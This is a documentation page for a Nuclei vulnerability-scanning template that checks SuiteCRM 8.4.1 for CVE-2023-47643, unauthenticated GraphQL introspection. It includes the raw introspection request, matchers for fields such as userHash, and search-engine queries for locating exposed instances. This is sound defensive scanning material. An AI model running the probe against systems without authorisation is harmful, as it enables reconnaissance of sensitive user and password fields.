Skip to content
Nuclei Templates

SuiteCRM Unauthenticated Graphql Introspection

ID: CVE-2023-47643

Severity: medium

Author: isacaya

Tags: cve,cve2023,graphql,suitecrm,introspection,salesagility

Description

Section titled “Description”

Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.

YAML Source

Section titled “YAML Source”
id: CVE-2023-47643


info:
  name: SuiteCRM Unauthenticated Graphql Introspection
  author: isacaya
  severity: medium
  description: |
    Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.
  impact: |
    An attacker can obtain the GraphQL schema and understand the entire attack surface of the API, including sensitive fields such as UserHash.
  remediation: |
    Update to version 8.4.2.
  reference:
    - https://github.com/salesagility/SuiteCRM-Core/security/advisories/GHSA-fxww-jqfv-9rrr
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47643
    - https://www.apollographql.com/blog/graphql/security/why-you-should-disable-graphql-introspection-in-production/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-47643
    cwe-id: CWE-200
    epss-score: 0.06214
    epss-percentile: 0.93569
    cpe: cpe:2.3:a:salesagility:suitecrm:8.4.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: salesagility
    product: suitecrm
    shodan-query:
      - title:"SuiteCRM"
      - http.title:"suitecrm"
    fofa-query: title="suitecrm"
    google-query: intitle:"suitecrm"
  tags: cve,cve2023,graphql,suitecrm,introspection,salesagility


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-XSRF-TOKEN: {{csrftoken}}


        {"query":"query IntrospectionQuery {\r\n      __schema {\r\n        \r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          \r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      \r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n      \r\n      \r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }"}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "userHash"
          - "authenticateId"
          - "systemGeneratedPassword"
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: csrftoken
        group: 1
        part: header
        regex:
          - "XSRF-TOKEN=([^;]+)"
        internal: true
# digest: 4a0a0047304502204a2c7581a750a0172b5082d7f30ecf192165f604842ae8c8f5074defc6f4cde0022100b7437ae4d333d526192c954fb7ed45033ca4f7bf5312b610336408be9971c155:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-47643.yaml"

View on Github